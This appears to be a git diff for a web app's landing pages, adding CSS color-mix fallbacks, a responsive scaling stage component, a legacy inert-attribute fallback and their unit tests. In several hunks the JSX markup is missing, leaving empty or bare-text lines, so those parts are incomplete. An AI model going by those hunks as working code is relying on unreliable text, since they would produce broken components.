diff --git a/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css b/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css new file mode 100644 index 00000000000..1bddf9ccd49 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css @@ -0,0 +1,115 @@ +.navbarGlass { + background-color: var(--bg); +} + +.mobileBackdrop { + background-color: var(--text-primary); + opacity: 0.08; +} + +.mutedText60 { + color: var(--text-muted); +} + +.loaderOuter { + --thinking-loader-outer: var(--text-body); +} + +.inverseBorder45 { + border-color: var(--text-muted-inverse); +} + +.inverseBackground45 { + background-color: var(--text-muted-inverse); +} + +.mutedBackground35 { + background-color: var(--text-muted); +} + +.mutedBorder60 { + border-color: var(--text-muted); +} + +.inverseBorder22 { + border-color: var(--text-muted-inverse); +} + +.inverseBorder35 { + border-color: var(--text-muted-inverse); +} + +.inverseBorder70 { + border-color: var(--text-muted-inverse); +} + +.mutedStroke35 { + stroke: var(--text-muted); +} + +.inverseStroke28 { + stroke: var(--text-muted-inverse); +} + +.inverseStroke45 { + stroke: var(--text-muted-inverse); +} + +@supports (color: color-mix(in srgb, red, blue)) { + .navbarGlass { + background-color: color-mix(in srgb, var(--bg) 92%, transparent); + } + + .mobileBackdrop { + background-color: color-mix(in srgb, var(--text-primary) 8%, transparent); + opacity: 1; + } + + .mutedText60 { + color: color-mix(in srgb, var(--text-muted) 60%, transparent); + } + + .loaderOuter { + --thinking-loader-outer: color-mix(in srgb, var(--text-body) 76%, var(--white)); + } + + .inverseBorder45 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } + + .inverseBackground45 { + background-color: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } + + .mutedBackground35 { + background-color: color-mix(in srgb, var(--text-muted) 35%, transparent); + } + + .mutedBorder60 { + border-color: color-mix(in srgb, var(--text-muted) 60%, transparent); + } + + .inverseBorder22 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 22%, transparent); + } + + .inverseBorder35 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 35%, transparent); + } + + .inverseBorder70 { + border-color: color-mix(in srgb, var(--text-muted-inverse) 70%, transparent); + } + + .mutedStroke35 { + stroke: color-mix(in srgb, var(--text-muted) 35%, transparent); + } + + .inverseStroke28 { + stroke: color-mix(in srgb, var(--text-muted-inverse) 28%, transparent); + } + + .inverseStroke45 { + stroke: color-mix(in srgb, var(--text-muted-inverse) 45%, transparent); + } +} diff --git a/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx b/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx index 363ad3fef2a..5badb42cd2d 100644 --- a/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx +++ b/apps/sim/app/(landing)/components/shared/hero-loop-shell/hero-loop-shell.tsx @@ -2,6 +2,7 @@ import type { ReactNode } from 'react' import { PLATFORM_LOOP_DESIGN } from '@/app/(landing)/components/shared/platform-loop-constants' +import { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage' import { EnterpriseSidebar, type EnterpriseSidebarProps, @@ -23,11 +24,11 @@ interface HeroLoopShellProps { } /** - * The platform heroes' shared scaled stage. An SVG viewBox maps the fixed - * 1280x735 design space to the rendered window without applying a CSS - * transform to the whole app. Keeping that scale out of the animated HTML - * subtree prevents fractional repaint snapping in both the canvas and the - * otherwise-static {@link EnterpriseSidebar}. + * The platform heroes' shared responsive stage. The whole preview remains + * ordinary HTML, fitted from its fixed 1280x735 design space by + * {@link ResponsiveDesignStage}; SVG is reserved for native workflow paths. + * This keeps the sidebar and every animated descendant in one browser-safe + * layout coordinate system across Safari, Chromium, and Firefox. */ export function HeroLoopShell({ workspaceName = 'Brightwave', @@ -38,24 +39,21 @@ export function HeroLoopShell({ children, }: HeroLoopShellProps) { return ( - + +
{children}
+ ) } diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts b/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts new file mode 100644 index 00000000000..cd4757dfe1f --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/index.ts @@ -0,0 +1 @@ +export { ResponsiveDesignStage } from '@/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage' diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts new file mode 100644 index 00000000000..a17aaf1e831 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.test.ts @@ -0,0 +1,145 @@ +/** + * @vitest-environment jsdom + */ +import { act, createElement } from 'react' +import { createRoot, type Root } from 'react-dom/client' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + calculateFitScale, + ResponsiveDesignStage, +} from '@/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage' + +let resizeObserver: ResizeObserverMock | null = null + +class ResizeObserverMock implements ResizeObserver { + private readonly callback: ResizeObserverCallback + private target: Element | null = null + + constructor(callback: ResizeObserverCallback) { + this.callback = callback + resizeObserver = this + } + + observe(target: Element) { + this.target = target + } + + unobserve() { + this.target = null + } + + disconnect() { + this.target = null + } + + deliver(width: number, height: number) { + if (!this.target) throw new Error('ResizeObserver has no observed target') + this.callback( + [{ target: this.target, contentRect: { width, height } } as ResizeObserverEntry], + this + ) + } +} + +let container: HTMLDivElement +let root: Root + +beforeEach(() => { + resizeObserver = null + vi.stubGlobal('CSS', { supports: vi.fn(() => true) }) + vi.stubGlobal('ResizeObserver', ResizeObserverMock) + container = document.createElement('div') + document.body.appendChild(container) + root = createRoot(container) +}) + +afterEach(() => { + act(() => root.unmount()) + container.remove() + vi.unstubAllGlobals() +}) + +describe('calculateFitScale', () => { + it('fits the design surface to the limiting host dimension', () => { + expect( + calculateFitScale({ + availableWidth: 1080, + availableHeight: 620, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBeCloseTo(620 / 735) + }) + + it('reserves the requested inset before calculating the scale', () => { + expect( + calculateFitScale({ + availableWidth: 500, + availableHeight: 700, + designWidth: 560, + designHeight: 700, + inset: 20, + maxScale: 1, + }) + ).toBeCloseTo(480 / 560) + }) + + it('does not upscale beyond the configured maximum', () => { + expect( + calculateFitScale({ + availableWidth: 1600, + availableHeight: 1000, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBe(1) + }) + + it('does not apply a scale before the host has measurable space', () => { + expect( + calculateFitScale({ + availableWidth: 0, + availableHeight: 620, + designWidth: 1280, + designHeight: 735, + inset: 0, + maxScale: 1, + }) + ).toBe(0) + }) +}) + +describe('ResponsiveDesignStage', () => { + it('hides an already visible surface until a measurable size returns', () => { + act(() => { + root.render( + createElement( + ResponsiveDesignStage, + { width: 1000, height: 500 }, + createElement('span', null, 'Preview') + ) + ) + }) + + const surface = container.firstElementChild?.firstElementChild + if (!(surface instanceof HTMLElement) || !resizeObserver) { + throw new Error('responsive stage did not mount') + } + const observer = resizeObserver + + act(() => observer.deliver(500, 250)) + expect(surface.style.opacity).toBe('1') + expect(surface.style.zoom).toBe('0.5') + + act(() => observer.deliver(0, 250)) + expect(surface.style.opacity).toBe('0') + + act(() => observer.deliver(500, 250)) + expect(surface.style.opacity).toBe('1') + expect(surface.style.zoom).toBe('0.5') + }) +}) diff --git a/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx new file mode 100644 index 00000000000..15c152f9b00 --- /dev/null +++ b/apps/sim/app/(landing)/components/shared/responsive-design-stage/responsive-design-stage.tsx @@ -0,0 +1,143 @@ +'use client' + +import { type ReactNode, useLayoutEffect, useRef } from 'react' +import { cn } from '@sim/emcn' + +const SCALE_EPSILON = 0.0001 + +interface FitScaleOptions { + availableWidth: number + availableHeight: number + designWidth: number + designHeight: number + inset: number + maxScale: number +} + +export function calculateFitScale({ + availableWidth, + availableHeight, + designWidth, + designHeight, + inset, + maxScale, +}: FitScaleOptions): number { + if ( + availableWidth <= inset || + availableHeight <= inset || + designWidth <= 0 || + designHeight <= 0 || + maxScale <= 0 + ) { + return 0 + } + + return Math.min( + maxScale, + (availableWidth - inset) / designWidth, + (availableHeight - inset) / designHeight + ) +} + +interface ResponsiveDesignStageProps { + width: number + height: number + children: ReactNode + className?: string + contentClassName?: string + inset?: number + maxScale?: number + align?: 'start' | 'center' +} + +/** + * Fits a fixed-size HTML design surface into its host without putting HTML in + * SVG. `ResizeObserver` watches only the stable host box, and the scale is + * written directly to the design surface so resizes do not rerender its React + * subtree. CSS `zoom` keeps the surface in normal document layout and avoids + * the fractional compositing drift caused by scaling a layer full of animated + * descendants. The transform branch is a fallback for older browsers. + */ +export function ResponsiveDesignStage({ + width, + height, + children, + className, + contentClassName, + inset = 0, + maxScale = 1, + align = 'center', +}: ResponsiveDesignStageProps) { + const hostRef = useRef(null) + const surfaceRef = useRef(null) + + useLayoutEffect(() => { + const host = hostRef.current + const surface = surfaceRef.current + if (!host || !surface) return + + surface.style.width = `${width}px` + surface.style.height = `${height}px` + + const supportsZoom = CSS.supports('zoom', '1') + let appliedScale = -1 + + const applyScale = (availableWidth: number, availableHeight: number) => { + const scale = calculateFitScale({ + availableWidth, + availableHeight, + designWidth: width, + designHeight: height, + inset, + maxScale, + }) + if (scale === 0) { + surface.style.opacity = '0' + appliedScale = -1 + return + } + if (Math.abs(scale - appliedScale) < SCALE_EPSILON) return + + if (supportsZoom) { + surface.style.zoom = String(scale) + surface.style.transform = '' + } else { + surface.style.zoom = '1' + surface.style.transform = `scale(${scale})` + } + surface.style.opacity = '1' + appliedScale = scale + } + + applyScale(host.clientWidth, host.clientHeight) + + const observer = new ResizeObserver(([entry]) => { + applyScale(entry.contentRect.width, entry.contentRect.height) + }) + observer.observe(host) + + return () => observer.disconnect() + }, [height, inset, maxScale, width]) + + return ( +
+
+ {children} +
+
+ ) +} diff --git a/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx b/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx index 1d03f102f88..a74fe87d45a 100644 --- a/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx +++ b/apps/sim/app/(landing)/components/solutions-page/components/solutions-card-row/components/solutions-card/solutions-card.tsx @@ -86,10 +86,7 @@ export function SolutionsCard({ card, headingId, tabletSpan = false }: Solutions wide && 'sm:max-lg:w-[38%] sm:max-lg:shrink-0 sm:max-lg:self-center' )} > -

+

{card.title}

import('@/app/(landing)/demo/components/demo-scheduler') @@ -32,6 +33,14 @@ const DemoScheduler = dynamic(() => importScheduler().then((m) => m.DemoSchedule loading: () => null, }) +function useLegacyInertFallback(ref: RefObject, inert: boolean) { + useEffect(() => { + const node = ref.current + if (!inert || !node || 'inert' in HTMLElement.prototype) return + return applyLegacyInertFallback(node) + }, [inert, ref]) +} + interface DemoBookingProps { /** Layout/placement classes (grid cell). Never chrome. */ className?: string @@ -59,8 +68,13 @@ export function DemoBooking({ className }: DemoBookingProps) { const [lead, setLead] = useState(null) const [formHeight, setFormHeight] = useState() const formRef = useRef(null) + const formPanelRef = useRef(null) + const schedulerPanelRef = useRef(null) const showScheduler = lead !== null + useLegacyInertFallback(formPanelRef, showScheduler) + useLegacyInertFallback(schedulerPanelRef, !showScheduler) + useEffect(() => { const node = formRef.current if (!node) return @@ -87,6 +101,7 @@ export function DemoBooking({ className }: DemoBookingProps) { style={{ transform: showScheduler ? 'translateX(-100%)' : undefined }} >

void preloadScheduler()} @@ -95,7 +110,11 @@ export function DemoBooking({ className }: DemoBookingProps) {
-
+
{lead ? : null}
diff --git a/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts new file mode 100644 index 00000000000..b8026754b15 --- /dev/null +++ b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.test.ts @@ -0,0 +1,53 @@ +/** + * @vitest-environment jsdom + */ +import { describe, expect, it } from 'vitest' +import { applyLegacyInertFallback } from '@/app/(landing)/demo/components/legacy-inert-fallback' + +describe('applyLegacyInertFallback', () => { + it('removes descendants from interaction and restores their exact prior state', () => { + const panel = document.createElement('div') + panel.setAttribute('aria-hidden', 'false') + panel.style.pointerEvents = 'auto' + panel.innerHTML = ` + + Demo + + ` + + const button = panel.querySelector('button') + const link = panel.querySelector('a') + const disabledInput = panel.querySelector('input') + const restore = applyLegacyInertFallback(panel) + + expect(panel.getAttribute('aria-hidden')).toBe('true') + expect(panel.style.pointerEvents).toBe('none') + expect(button?.getAttribute('tabindex')).toBe('-1') + expect(link?.getAttribute('tabindex')).toBe('-1') + expect(disabledInput?.getAttribute('tabindex')).toBeNull() + + restore() + + expect(panel.getAttribute('aria-hidden')).toBe('false') + expect(panel.style.pointerEvents).toBe('auto') + expect(button?.getAttribute('tabindex')).toBeNull() + expect(link?.getAttribute('tabindex')).toBe('2') + }) + + it('moves focus out of a panel before hiding it', () => { + const panel = document.createElement('div') + const button = document.createElement('button') + panel.append(button) + document.body.append(panel) + button.focus() + + expect(document.activeElement).toBe(button) + + const restore = applyLegacyInertFallback(panel) + + expect(document.activeElement).not.toBe(button) + + restore() + panel.remove() + }) +}) diff --git a/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts new file mode 100644 index 00000000000..850f315fd95 --- /dev/null +++ b/apps/sim/app/(landing)/demo/components/legacy-inert-fallback.ts @@ -0,0 +1,46 @@ +const FOCUSABLE_SELECTOR = [ + 'a[href]', + 'area[href]', + 'button:not([disabled])', + 'input:not([disabled])', + 'select:not([disabled])', + 'textarea:not([disabled])', + 'iframe', + 'object', + 'embed', + '[contenteditable="true"]', + '[tabindex]', +].join(',') + +/** + * Mirrors the interaction-blocking parts of `inert` for Firefox 111, the only + * browser in Next's supported range without native support. Modern browsers + * never call this fallback. + */ +export function applyLegacyInertFallback(node: HTMLElement): () => void { + const previousAriaHidden = node.getAttribute('aria-hidden') + const previousPointerEvents = node.style.pointerEvents + const previousTabIndexes = new Map() + const activeElement = node.ownerDocument.activeElement + + if (activeElement instanceof HTMLElement && node.contains(activeElement)) activeElement.blur() + + node.setAttribute('aria-hidden', 'true') + node.style.pointerEvents = 'none' + + for (const element of node.querySelectorAll(FOCUSABLE_SELECTOR)) { + previousTabIndexes.set(element, element.getAttribute('tabindex')) + element.setAttribute('tabindex', '-1') + } + + return () => { + if (previousAriaHidden === null) node.removeAttribute('aria-hidden') + else node.setAttribute('aria-hidden', previousAriaHidden) + node.style.pointerEvents = previousPointerEvents + + for (const [element, tabIndex] of previousTabIndexes) { + if (tabIndex === null) element.removeAttribute('tabindex') + else element.setAttribute('tabindex', tabIndex) + } + } +} diff --git a/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx b/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx index 6ded478dc7e..8a0d99d1c51 100644 --- a/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx +++ b/apps/sim/app/(landing)/enterprise/components/enterprise-platform-loop/enterprise-platform-loop.tsx @@ -27,8 +27,8 @@ interface EnterprisePlatformLoopProps { /** * The enterprise hero's platform loop - a sibling of the homepage - * `HeroPlatformLoop` that shares its architecture (fixed design-space layer - * scaled to the window via ResizeObserver + `transform: scale`, a parent-owned + * `HeroPlatformLoop` that shares its architecture (fixed HTML design surface + * fitted to the window via the shared responsive stage, a parent-owned * timeline clock driving presentational stages, reduced-motion showing a * static finished frame) but diverges in content: where the homepage overlays * a live chat over a baked screenshot, this variant renders the WHOLE interior diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx index a24147065c1..5ceef83d53e 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import Image from 'next/image' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import styles from '@/app/(landing)/enterprise/components/feature-graphics/access-control-graphic.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' @@ -123,13 +124,10 @@ export function AccessControlGraphic() { pathLength={1} className={cn( styles.edgeDraw, - edge.emphasized ? styles.edgeDrawEmphasized : EDGE_DRAW_CLASSES[index] + edge.emphasized ? styles.edgeDrawEmphasized : EDGE_DRAW_CLASSES[index], + !edge.emphasized && colorMixFallbacks.mutedStroke35 )} - stroke={ - edge.emphasized - ? 'var(--text-secondary)' - : 'color-mix(in srgb, var(--text-muted) 35%, transparent)' - } + stroke={edge.emphasized ? 'var(--text-secondary)' : undefined} strokeWidth='1' /> ))} @@ -155,9 +153,7 @@ export function AccessControlGraphic() { {team.name} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx index a952b2e8818..76810c7432e 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/audit-trail-graphic.tsx @@ -69,7 +69,7 @@ const ROW_TONES = [ * window: a frameless, centered vignette (the access tile's composition, * which sits beside it in the row) where each record is a plain row — * gradient actor avatar, the action label in the row's regular sans face - * (`font-medium text-small`, the same treatment the standards tile gives + * (`text-small`, the same treatment the standards tile gives * its row titles), an "actor · resource" attribution line, and a * right-aligned timestamp. The newest record is the selected event: it * sits on a solid white card wearing the build tile's window chrome @@ -120,7 +120,7 @@ export function AuditTrailGraphic({ entries = ENTRIES }: AuditTrailGraphicProps >
- Audit log + Audit log Append-only @@ -159,7 +159,7 @@ export function AuditTrailGraphic({ entries = ENTRIES }: AuditTrailGraphicProps /> - + {entry.action} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx index 69a26ab089a..9b6e8b9f30b 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.tsx @@ -2,6 +2,7 @@ import type { CSSProperties } from 'react' import { ChipTag, chipContentLabelClass, chipGeometryClass, cn } from '@sim/emcn' import { CircleCheck, Lock } from '@sim/emcn/icons' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import styles from '@/app/(landing)/enterprise/components/feature-graphics/deploy-graphic.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' @@ -96,11 +97,16 @@ export function DeployGraphic({ className='absolute inset-0 flex flex-col items-center pr-8 max-lg:pr-6' >
- {agentName} + {agentName} {versionTag}
- + @@ -116,11 +122,21 @@ export function DeployGraphic({ - + -
+
- + {statusLabel} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx index 27bfb18c9d4..0274e46dc65 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/feature-platform-panel.tsx @@ -33,7 +33,7 @@ export function FeaturePlatformPanel({ - {title} + {title}
{children}
diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx index 3b0b7a89833..3d506df3331 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/it-platform-teams-graphic.tsx @@ -90,9 +90,7 @@ export function ItPlatformTeamsGraphic({ >
- - {title} - + {title} - + {cardTitle} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx index 22eb8a347bb..861348fe373 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import { Clock } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/lifecycle-graphic.module.css' @@ -47,7 +48,7 @@ export function LifecycleGraphic() { - Versions + Versions
@@ -58,7 +59,7 @@ export function LifecycleGraphic() { - v3 + v3 Live @@ -69,7 +70,7 @@ export function LifecycleGraphic() {
- +
@@ -78,7 +79,7 @@ export function LifecycleGraphic() { - v2 + v2 Saved @@ -92,12 +93,17 @@ export function LifecycleGraphic() {
- +
- + {version.label} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx index 977bc56e017..f8d895cd971 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.tsx @@ -1,6 +1,7 @@ import type { CSSProperties } from 'react' import { cn } from '@sim/emcn' import { ThinkingLoader } from '@/components/ui' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/operations-teams-graphic.module.css' @@ -118,14 +119,11 @@ const OUT_PATHS = { jira: 'M 140 155 C 140 184 224 178 224 206', } as const -/** Faint-ink stroke for the resting wires (the deploy tile's guide-line grey, quieter). */ -const QUIET_STROKE = 'color-mix(in srgb, var(--text-muted-inverse) 28%, transparent)' - /** Shared 1px outline ink for the tags, port dots, and router hub ring. */ -const OUTLINE_INK = 'border-[color:color-mix(in_srgb,var(--text-muted-inverse)_45%,transparent)]' +const OUTLINE_INK = colorMixFallbacks.inverseBorder45 /** Shared SVG props for a resting wire. */ -const WIRE_PROPS = { stroke: QUIET_STROKE, strokeWidth: '1' } as const +const WIRE_PROPS = { className: colorMixFallbacks.inverseStroke28, strokeWidth: '1' } as const /** Shared SVG props for a traveling white request-pulse overlay on a wire. */ const PULSE_PROPS = { @@ -143,7 +141,7 @@ function PortTag({ port }: { port: Port }) { > diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx index 52276001e1b..581faac6b2b 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/rollback-graphic.tsx @@ -1,5 +1,6 @@ -import { Button, ChipTag } from '@sim/emcn' +import { Button, ChipTag, cn } from '@sim/emcn' import { Undo } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' /** @@ -47,7 +48,7 @@ export function RollbackGraphic() { className='absolute top-5 right-0 bottom-0 left-0 rounded-tl-xl border-[var(--border-1)] border-t border-l' >
- + Version history @@ -61,7 +62,7 @@ export function RollbackGraphic() { - v4 + v4 Current @@ -71,7 +72,12 @@ export function RollbackGraphic() {
- +
@@ -82,7 +88,7 @@ export function RollbackGraphic() {
- v3 + v3 Stable @@ -103,13 +109,23 @@ export function RollbackGraphic() {
- +
- + v2 diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx index ba6b491c4f3..069c9ccc318 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/run-monitoring-graphic.tsx @@ -55,11 +55,7 @@ function fieldValue(field: LogField) { {field.value} ) } - return ( - - {field.value} - - ) + return {field.value} } /** @@ -125,9 +121,7 @@ export function RunMonitoringGraphic({ >
- - {title} - + {title}
- + {title} @@ -110,7 +110,7 @@ export function StagingGraphic({
{changeTag} - + {changeTitle} diff --git a/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx b/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx index 627d2e2c7dd..af2d1b65ada 100644 --- a/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx +++ b/apps/sim/app/(landing)/enterprise/components/feature-graphics/standards-graphic.tsx @@ -1,5 +1,6 @@ import { ChipTag, cn } from '@sim/emcn' import { ShieldCheck } from '@sim/emcn/icons' +import colorMixFallbacks from '@/app/(landing)/components/shared/color-mix-fallbacks/color-mix-fallbacks.module.css' import { FeatureGraphicShell } from '@/app/(landing)/enterprise/components/feature-graphics/feature-graphic-shell' import styles from '@/app/(landing)/enterprise/components/feature-graphics/standards-graphic.module.css' @@ -86,8 +87,18 @@ export function StandardsGraphic({